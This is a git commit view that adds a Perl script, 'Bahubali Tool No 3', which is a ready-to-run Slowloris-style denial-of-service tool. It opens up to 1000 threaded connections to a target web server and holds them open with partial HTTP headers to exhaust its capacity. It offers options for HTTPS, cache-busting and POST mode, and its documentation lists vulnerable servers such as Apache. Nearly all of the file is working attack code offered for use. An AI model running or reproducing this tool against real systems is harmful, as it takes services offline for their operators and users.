aboutsummaryrefslogtreecommitdiff
path: root/src/3.pl
diff options
context:
space:
mode:
Diffstat (limited to 'src/3.pl')
-rw-r--r--src/3.pl364
1 files changed, 364 insertions, 0 deletions
diff --git a/src/3.pl b/src/3.pl
new file mode 100644
index 0000000..289a713
--- /dev/null
+++ b/src/3.pl
@@ -0,0 +1,364 @@
+#!/usr/bin/perl -w
+use strict;
+use IO::Socket::INET;
+use IO::Socket::SSL;
+use Getopt::Long;
+use Config;
+
+$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
+
+print <<EOTEXT;
+Welcome to Bahubali Tool No 3, Based on Slowloris by Laera Loris
+EOTEXT
+
+my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
+my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
+my $result = GetOptions(
+ 'shost=s' => \$shost,
+ 'dns=s' => \$host,
+ 'httpready' => \$httpready,
+ 'num=i' => \$connections,
+ 'cache' => \$cache,
+ 'port=i' => \$port,
+ 'https' => \$ssl,
+ 'tcpto=i' => \$tcpto,
+ 'test' => \$test,
+ 'timeout=i' => \$timeout,
+ 'version' => \$version,
+);
+
+if ($version) {
+ print "Version 0.9\n";
+ exit;
+}
+
+unless ($host) {
+ print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
+ print "\n\tType 'perldoc $0' for help with options.\n\n";
+ exit;
+}
+
+unless ($port) {
+ $port = 80;
+ print "Defaulting to port 80.\n";
+}
+
+unless ($tcpto) {
+ $tcpto = 5;
+ print "Defaulting to a 5 second tcp connection timeout.\n";
+}
+
+unless ($test) {
+ unless ($timeout) {
+ $timeout = 100;
+ print "Defaulting to a 100 second re-try timeout.\n";
+ }
+ unless ($connections) {
+ $connections = 1000;
+ print "Defaulting to 1000 connections.\n";
+ }
+}
+
+my $usemultithreading = 0;
+if ( $Config{usethreads} ) {
+ print "Multithreading enabled.\n";
+ $usemultithreading = 1;
+ use threads;
+ use threads::shared;
+}
+else {
+ print "No multithreading capabilites found!\n";
+ print "The tool will be slower than normal as a result.\n";
+}
+
+my $packetcount : shared = 0;
+my $failed : shared = 0;
+my $connectioncount : shared = 0;
+
+srand() if ($cache);
+
+if ($shost) {
+ $sendhost = $shost;
+}
+else {
+ $sendhost = $host;
+}
+if ($httpready) {
+ $method = "POST";
+}
+else {
+ $method = "GET";
+}
+
+if ($test) {
+ my @times = ( "2", "30", "90", "240", "500" );
+ my $totaltime = 0;
+ foreach (@times) {
+ $totaltime = $totaltime + $_;
+ }
+ $totaltime = $totaltime / 60;
+ print "Thie test could take up to $totaltime minutes.\n";
+
+ my $delay = 0;
+ my $working = 0;
+ my $sock;
+
+ if ($ssl) {
+ if (
+ $sock = new IO::Socket::SSL(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working = 1;
+ }
+ }
+ else {
+ if (
+ $sock = new IO::Socket::INET(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working = 1;
+ }
+ }
+ if ($working) {
+ if ($cache) {
+ $rand = "?" . int( rand(99999999999999) );
+ }
+ else {
+ $rand = "";
+ }
+ my $primarypayload =
+ "GET /$rand HTTP/1.1\r\n"
+ . "Host: $sendhost\r\n"
+ . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
+ . "Content-Length: 42\r\n";
+ if ( print $sock $primarypayload ) {
+ print "Connection successful, now comes the waiting game...\n";
+ }
+ else {
+ print
+"That's odd - I connected but couldn't send the data to $host:$port.\n";
+ print "Is something wrong?\nDying.\n";
+ exit;
+ }
+ }
+ else {
+ print "Can't connect to $host:$port.\n";
+ print "Is something wrong?\nDying.\n";
+ exit;
+ }
+ for ( my $i = 0 ; $i <= $#times ; $i++ ) {
+ print "Trying a $times[$i] second delay: \n";
+ sleep( $times[$i] );
+ if ( print $sock "X-a: b\r\n" ) {
+ print "\tWorked.\n";
+ $delay = $times[$i];
+ }
+ else {
+ if ( $SIG{__WARN__} ) {
+ $delay = $times[ $i - 1 ];
+ last;
+ }
+ print "\tFailed after $times[$i] seconds.\n";
+ }
+ }
+
+ if ( print $sock "Connection: Close\r\n\r\n" ) {
+ print "Okay that's enough time. Slowloris closed the socket.\n";
+ print "Use $delay seconds for -timeout.\n";
+ exit;
+ }
+ else {
+ print "Remote server closed socket.\n";
+ print "Use $delay seconds for -timeout.\n";
+ exit;
+ }
+ if ( $delay < 166 ) {
+ print <<EOSUCKS2BU;
+Since the timeout ended up being so small ($delay seconds) and it generally
+takes between 200-500 threads for most servers and assuming any latency at
+all... you might have trouble using Slowloris against this target. You can
+tweak the -timeout flag down to less than 10 seconds but it still may not
+build the sockets in time.
+EOSUCKS2BU
+ }
+}
+else {
+ print
+"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
+
+ if ($usemultithreading) {
+ domultithreading($connections);
+ }
+ else {
+ doconnections( $connections, $usemultithreading );
+ }
+}
+
+sub doconnections {
+ my ( $num, $usemultithreading ) = @_;
+ my ( @first, @sock, @working );
+ my $failedconnections = 0;
+ $working[$_] = 0 foreach ( 1 .. $num ); #initializing
+ $first[$_] = 0 foreach ( 1 .. $num ); #initializing
+ while (1) {
+ $failedconnections = 0;
+ print "\t\tBuilding sockets.\n";
+ foreach my $z ( 1 .. $num ) {
+ if ( $working[$z] == 0 ) {
+ if ($ssl) {
+ if (
+ $sock[$z] = new IO::Socket::SSL(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working[$z] = 1;
+ }
+ else {
+ $working[$z] = 0;
+ }
+ }
+ else {
+ if (
+ $sock[$z] = new IO::Socket::INET(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working[$z] = 1;
+ $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
+ }
+ else {
+ $working[$z] = 0;
+ }
+ }
+ if ( $working[$z] == 1 ) {
+ if ($cache) {
+ $rand = "?" . int( rand(99999999999999) );
+ }
+ else {
+ $rand = "";
+ }
+ my $primarypayload =
+ "$method /$rand HTTP/1.1\r\n"
+ . "Host: $sendhost\r\n"
+ . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
+ . "Content-Length: 42\r\n";
+ my $handle = $sock[$z];
+ if ($handle) {
+ print $handle "$primarypayload";
+ if ( $SIG{__WARN__} ) {
+ $working[$z] = 0;
+ close $handle;
+ $failed++;
+ $failedconnections++;
+ }
+ else {
+ $packetcount++;
+ $working[$z] = 1;
+ }
+ }
+ else {
+ $working[$z] = 0;
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ else {
+ $working[$z] = 0;
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ }
+ print "\t\tSending data.\n";
+ foreach my $z ( 1 .. $num ) {
+ if ( $working[$z] == 1 ) {
+ if ( $sock[$z] ) {
+ my $handle = $sock[$z];
+ if ( print $handle "X-a: b\r\n" ) {
+ $working[$z] = 1;
+ $packetcount++;
+ }
+ else {
+ $working[$z] = 0;
+ #debugging info
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ else {
+ $working[$z] = 0;
+ #debugging info
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ }
+ print
+"Current stats:\tThe tool has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
+ sleep($timeout);
+ }
+}
+
+sub domultithreading {
+ my ($num) = @_;
+ my @thrs;
+ my $i = 0;
+ my $connectionsperthread = 50;
+ while ( $i < $num ) {
+ $thrs[$i] =
+ threads->create( \&doconnections, $connectionsperthread, 1 );
+ $i += $connectionsperthread;
+ }
+ my @threadslist = threads->list();
+ while ( $#threadslist > 0 ) {
+ $failed = 0;
+ }
+}
+
+__END__
+
+=head1 TITLE
+
+Bahubali Tool 3 by N3V0N
+
+=head1 VERSION
+
+Version 0.9 Stable
+
+=head1 DATE
+
+22/07/17
+
+=head1 AUTHOR
+
+Navan Chauhan <navanchauhan@gmail.com>
+
+=head1 ABSTRACT
+
+Based on Slowloris
+
+=head1 AFFECTS
+
+Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
+
+=head1 NOT AFFECTED
+
+IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?